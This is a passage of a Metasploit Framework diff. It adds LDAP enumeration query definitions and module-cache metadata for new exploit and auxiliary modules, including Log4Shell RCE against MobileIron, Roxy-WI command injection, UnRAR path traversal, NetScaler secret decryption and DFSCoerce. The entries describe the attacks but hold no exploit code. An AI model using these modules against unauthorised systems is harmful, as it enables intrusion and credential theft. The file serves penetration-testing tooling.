filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
- action: ENUM_ORGUNITS
|
||||
description: 'Dump info about all known organizational units in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalUnit)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGROLES
|
||||
description: 'Dump info about all known organization roles in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalRole)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
queries:
|
||||
# - action: SAMPLE_ACTION
|
||||
# description: 'A description.'
|
||||
# filter: '(objectClass=*)'
|
||||
# attributes:
|
||||
# - dn
|
||||
# - objectClass
|
||||
+1303
-71
@@ -447,6 +447,54 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/citrix/citrix_netscaler_config_decrypt": {
|
||||
"name": "Decrypt Citrix NetScaler Config Secrets",
|
||||
"fullname": "auxiliary/admin/citrix/citrix_netscaler_config_decrypt",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-05-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"npm <npm@cesium137.io>"
|
||||
],
|
||||
"description": "This module takes a Citrix NetScaler ns.conf configuration file as\n input and extracts secrets that have been stored with reversible\n encryption. The module supports legacy NetScaler encryption (RC4)\n as well as the newer AES-256-ECB and AES-256-CBC encryption types.\n It is also possible to decrypt secrets protected by the Key\n Encryption Key (KEK) method, provided the key fragment files F1.key\n and F2.key are provided.",
|
||||
"references": [
|
||||
"URL-https://dozer.nz/posts/citrix-decrypt/",
|
||||
"URL-https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/"
|
||||
],
|
||||
"platform": "BSD",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-13 08:36:18 +0000",
|
||||
"path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/citrix/citrix_netscaler_config_decrypt",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/db2/db2rcmd": {
|
||||
"name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability",
|
||||
"fullname": "auxiliary/admin/db2/db2rcmd",
|
||||
@@ -522,7 +570,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-02-16 13:56:50 +0000",
|
||||
"mod_time": "2022-08-03 14:27:30 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/cve_2020_1472_zerologon",
|
||||
@@ -532,6 +580,66 @@
|
||||
"notes": {
|
||||
"AKA": [
|
||||
"Zerologon"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/dcerpc/samr_computer": {
|
||||
"name": "SAMR Computer Management",
|
||||
"fullname": "auxiliary/admin/dcerpc/samr_computer",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"JaGoTu",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Add, lookup and delete computer accounts via MS-SAMR. By default\n standard active directory users can add up to 10 new computers to the\n domain. Administrative privileges however are required to delete the\n created accounts.",
|
||||
"references": [
|
||||
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 445,
|
||||
"autofilter_ports": [
|
||||
139,
|
||||
445
|
||||
],
|
||||
"autofilter_services": [
|
||||
"netbios-ssn",
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-06-28 11:53:05 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/samr_computer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/samr_computer",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
@@ -16894,11 +17002,13 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Nixawk"
|
||||
"Nixawk",
|
||||
"e2002e",
|
||||
"Christophe De La Fuente"
|
||||
],
|
||||
"description": "The module use the Censys REST API to access the same data\n accessible through web interface. The search endpoint allows searches\n against the current data in the IPv4, Top Million Websites, and\n Certificates indexes using the same search syntax as the primary site.",
|
||||
"description": "The module uses the Censys REST API to access the same data accessible\n through the web interface. The search endpoint allows queries using\n the Censys Search Language against the Hosts dataset. Setting the\n CERTIFICATES option will also retrieve the certificate details for each\n relevant service by querying the Certificates dataset.",
|
||||
"references": [
|
||||
"URL-https://censys.io/api"
|
||||
"URL-https://search.censys.io"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -16910,7 +17020,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-28 10:35:25 +0000",
|
||||
"mod_time": "2022-07-04 17:19:16 +0000",
|
||||
"path": "/modules/auxiliary/gather/censys_search.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/censys_search",
|
||||
@@ -16918,6 +17028,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
@@ -17057,6 +17176,65 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/cisco_pvc2300_download_config": {
|
||||
"name": "Cisco PVC2300 POE Video Camera configuration download",
|
||||
"fullname": "auxiliary/gather/cisco_pvc2300_download_config",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2013-07-12",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Craig Heffner",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order\n to download the configuration file containing the admin credentials for the web interface.\n\n The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the\n module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml\n endpoint using hardcoded credentials.\n\n If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml\n with the aim of downloading the configuration file. The configuration file, if obtained, is then\n decoded and saved to the loot directory. Finally, the module attempts to extract the admin\n credentials to the web interface from the decoded configuration file.\n\n No known solution was made available for this vulnerability and no CVE has been published. It is\n therefore likely that most (if not all) Cisco PVC2300 cameras are affected.\n\n This module was successfully tested against several Cisco PVC2300 cameras.",
|
||||
"references": [
|
||||
"URL-https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
|
||||
"URL-https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
|
||||
"URL-https://www.youtube.com/watch?v=B8DjTcANBx0"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-04 11:45:36 +0000",
|
||||
"path": "/modules/auxiliary/gather/cisco_pvc2300_download_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/cisco_pvc2300_download_config",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/cisco_rv320_config": {
|
||||
"name": "Cisco RV320/RV326 Configuration Disclosure",
|
||||
"fullname": "auxiliary/gather/cisco_rv320_config",
|
||||
@@ -17197,7 +17375,8 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"mekhalleh (RAMELLA Sébastien)"
|
||||
"mekhalleh (RAMELLA Sébastien)",
|
||||
"Yvain"
|
||||
],
|
||||
"description": "This module can be useful if you need to test the security of your server and your\n website behind a solution Cloud based. By discovering the origin IP address of the\n targeted host.\n\n More precisely, this module uses multiple data sources (in order ViewDNS.info, DNS enumeration\n and Censys) to collect assigned (or have been assigned) IP addresses from the targeted site or domain\n that uses the following:\n * Cloudflare, Amazon CloudFront, ArvanCloud, Envoy Proxy, Fastly, Stackpath Fireblade,\n Stackpath MaxCDN, Imperva Incapsula, InGen Security (BinarySec EasyWAF), KeyCDN, Microsoft AzureCDN,\n Netlify and Sucuri.",
|
||||
"references": [
|
||||
@@ -17213,7 +17392,7 @@
|
||||
"dns"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-10 18:03:35 +0000",
|
||||
"mod_time": "2022-06-23 17:27:47 +0000",
|
||||
"path": "/modules/auxiliary/gather/cloud_lookup.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/cloud_lookup",
|
||||
@@ -19315,6 +19494,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/ldap_query": {
|
||||
"name": "LDAP Query and Enumeration Module",
|
||||
"fullname": "auxiliary/gather/ldap_query",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-05-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma seperated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 389,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-26 16:03:16 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/mantisbt_admin_sqli": {
|
||||
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
|
||||
@@ -19439,7 +19665,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-02-17 12:33:59 +0000",
|
||||
"mod_time": "2022-06-22 19:44:53 +0000",
|
||||
"path": "/modules/auxiliary/gather/memcached_extractor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/memcached_extractor",
|
||||
@@ -22199,6 +22425,48 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/dcerpc/dfscoerce": {
|
||||
"name": "DFSCoerce",
|
||||
"fullname": "auxiliary/scanner/dcerpc/dfscoerce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Wh04m1001",
|
||||
"xct_de",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.",
|
||||
"references": [
|
||||
"URL-https://github.com/Wh04m1001/DFSCoerce"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 445,
|
||||
"autofilter_ports": [
|
||||
139,
|
||||
445
|
||||
],
|
||||
"autofilter_services": [
|
||||
"netbios-ssn",
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-06-30 17:38:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/dcerpc/dfscoerce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/dcerpc/dfscoerce",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/dcerpc/endpoint_mapper": {
|
||||
"name": "Endpoint Mapper Service Discovery",
|
||||
"fullname": "auxiliary/scanner/dcerpc/endpoint_mapper",
|
||||
@@ -22344,7 +22612,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-31 13:50:19 +0000",
|
||||
"mod_time": "2022-06-30 15:12:23 +0000",
|
||||
"path": "/modules/auxiliary/scanner/dcerpc/petitpotam.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/dcerpc/petitpotam",
|
||||
@@ -22649,7 +22917,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-24 19:01:36 +0000",
|
||||
"mod_time": "2022-07-08 09:56:51 +0000",
|
||||
"path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/discovery/ipv6_neighbor",
|
||||
@@ -25062,6 +25330,64 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cassandra_web_file_read": {
|
||||
"name": "Cassandra Web File Read Vulnerability",
|
||||
"fullname": "auxiliary/scanner/http/cassandra_web_file_read",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jeremy Brown",
|
||||
"krastanoel"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web\n 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.\n This vulnerability occured due to the disabled Rack::Protection module",
|
||||
"references": [
|
||||
"URL-https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be",
|
||||
"EDB-49362"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 3000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-03 19:21:42 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cassandra_web_file_read.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cassandra_web_file_read",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cert": {
|
||||
"name": "HTTP SSL Certificate Checker",
|
||||
"fullname": "auxiliary/scanner/http/cert",
|
||||
@@ -26158,7 +26484,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-16 14:24:45 +0000",
|
||||
"mod_time": "2022-06-15 11:35:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/crawler.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/crawler",
|
||||
@@ -38266,6 +38592,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/misc/freeswitch_event_socket_login": {
|
||||
"name": "FreeSWITCH Event Socket Login",
|
||||
"fullname": "auxiliary/scanner/misc/freeswitch_event_socket_login",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"krastanoel"
|
||||
],
|
||||
"description": "This module tests FreeSWITCH Event Socket logins on a range of\n machines and report successful attempts.",
|
||||
"references": [
|
||||
"URL-https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8021,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-01 12:22:31 +0000",
|
||||
"path": "/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/misc/freeswitch_event_socket_login",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-restarts"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/misc/ib_service_mgr_info": {
|
||||
"name": "Borland InterBase Services Manager Information",
|
||||
"fullname": "auxiliary/scanner/misc/ib_service_mgr_info",
|
||||
@@ -44193,6 +44566,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/bacnet_l3": {
|
||||
"name": "BACnet Scanner",
|
||||
"fullname": "auxiliary/scanner/scada/bacnet_l3",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Paz <Paz @ SCADAfence>"
|
||||
],
|
||||
"description": "Discover BACnet devices by broadcasting Who-is message, then poll\n discovered devices for properties including model name,\n software version, firmware revision and description.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-01 15:11:57 +0000",
|
||||
"path": "/modules/auxiliary/scanner/scada/bacnet_l3.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/scada/bacnet_l3",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"unreliable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/digi_addp_reboot": {
|
||||
"name": "Digi ADDP Remote Reboot Initiator",
|
||||
"fullname": "auxiliary/scanner/scada/digi_addp_reboot",
|
||||
@@ -47177,7 +47597,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-07-19 16:04:41 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssl/openssl_heartbleed",
|
||||
@@ -47256,7 +47676,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-07-25 14:51:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/telephony/wardial.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/telephony/wardial",
|
||||
@@ -49576,7 +49996,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-05-12 22:15:21 +0000",
|
||||
"mod_time": "2022-07-29 12:58:55 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/imap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/imap",
|
||||
@@ -56614,6 +57034,59 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/fileformat/unrar_cve_2022_30333": {
|
||||
"name": "UnRAR Path Traversal (CVE-2022-30333)",
|
||||
"fullname": "exploit/linux/fileformat/unrar_cve_2022_30333",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Simon Scannell",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module creates a RAR file that exploits CVE-2022-30333, which is a\n path-traversal vulnerability in unRAR that can extract an arbitrary file\n to an arbitrary location on a Linux system. UnRAR fixed this\n vulnerability in version 6.12 (open source version 6.1.7).\n\n The core issue is that when a symbolic link is unRAR'ed, Windows\n symbolic links are not properly validated on Linux systems and can\n therefore write a symbolic link that points anywhere on the filesystem.\n If a second file in the archive has the same name, it will be written\n to the symbolic link path.",
|
||||
"references": [
|
||||
"CVE-2022-30333",
|
||||
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
|
||||
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
|
||||
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Generic RAR file"
|
||||
],
|
||||
"mod_time": "2022-08-01 10:03:35 +0000",
|
||||
"path": "/modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/fileformat/unrar_cve_2022_30333",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ftp/proftp_sreplace": {
|
||||
"name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)",
|
||||
"fullname": "exploit/linux/ftp/proftp_sreplace",
|
||||
@@ -63343,6 +63816,78 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/mobileiron_core_log4shell": {
|
||||
"name": "MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)",
|
||||
"fullname": "exploit/linux/http/mobileiron_core_log4shell",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-12-12",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"RageLtMan <rageltman@sempervictus>",
|
||||
"rwincey",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server\n will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS\n command execution in the context of the tomcat user.\n\n This module will start an LDAP server that the target will need to connect to.",
|
||||
"references": [
|
||||
"CVE-2021-44228",
|
||||
"URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis",
|
||||
"URL-https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US",
|
||||
"URL-https://www.mandiant.com/resources/mobileiron-log4shell-exploitation"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2022-08-02 11:04:13 +0000",
|
||||
"path": "/modules/exploits/linux/http/mobileiron_core_log4shell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/mobileiron_core_log4shell",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"Log4Shell",
|
||||
"LogJam"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"RelatedModules": [
|
||||
"auxiliary/scanner/http/log4shell_scanner",
|
||||
"exploit/multi/http/log4shell_header_injection"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/mobileiron_mdm_hessian_rce": {
|
||||
"name": "MobileIron MDM Hessian-Based Java Deserialization RCE",
|
||||
"fullname": "exploit/linux/http/mobileiron_mdm_hessian_rce",
|
||||
@@ -66086,6 +66631,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/roxy_wi_exec": {
|
||||
"name": "Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE",
|
||||
"fullname": "exploit/linux/http/roxy_wi_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-07-06",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Nuri Çilengir <nuri@prodaft.com>"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated command injection vulnerability in Roxy-WI\n prior to version 6.1.1.0. Successful exploitation results in remote code execution\n under the context of the web server user.\n\n Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.",
|
||||
"references": [
|
||||
"URL-https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/",
|
||||
"URL-https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532",
|
||||
"URL-https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755",
|
||||
"CVE-2022-31137"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix (In-Memory)",
|
